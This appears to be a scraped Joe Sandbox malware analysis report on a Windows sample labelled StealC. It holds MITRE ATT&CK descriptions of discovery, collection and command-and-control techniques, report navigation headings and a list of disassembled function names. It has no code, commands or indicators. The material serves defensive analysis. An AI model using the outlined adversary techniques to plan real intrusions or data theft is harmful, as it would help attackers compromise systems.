Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00479860 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Function 004645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00464880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Function 00479C10 Relevance: 235.2, APIs: 112, Strings: 22, Instructions: 684
libraryloaderCOMMON

Function 00466280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00475510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 004717A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00477500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 004769F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00461220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00476AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 004647B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 004751F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON